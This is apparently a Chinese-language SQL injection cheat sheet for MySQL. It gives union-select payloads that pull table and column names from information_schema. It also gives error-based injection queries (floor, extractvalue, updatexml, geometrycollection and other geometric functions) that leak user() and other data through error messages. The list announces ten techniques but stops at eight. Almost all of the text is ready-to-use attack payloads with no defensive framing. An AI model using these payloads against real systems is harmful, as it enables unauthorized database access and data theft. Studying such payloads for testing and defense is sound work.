MYSQL
基礎注入
聯合查詢
-
若前面的查詢結果不爲空，則返回兩次查詢的值：
-
若前面的查詢結果爲空，則只返回union查詢的值：
-
關鍵字
union select -
需要字段數對應
常用Payload：
# 查詢表名
' union select group_concat(table_name) from information_schema.tables where table_schema=database()%23
# 查詢字段名
' union select group_concat(column_name) from information_schema.columns where table_name='table1'%23
報錯注入
報錯注入是利用mysql在出錯的時候會引出查詢信息的特徵，常用的報錯手段有如下10種：
# 修改select user() 字段 獲取不同的信息
# 1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
# 2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
# 3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
# 4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
# 5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b))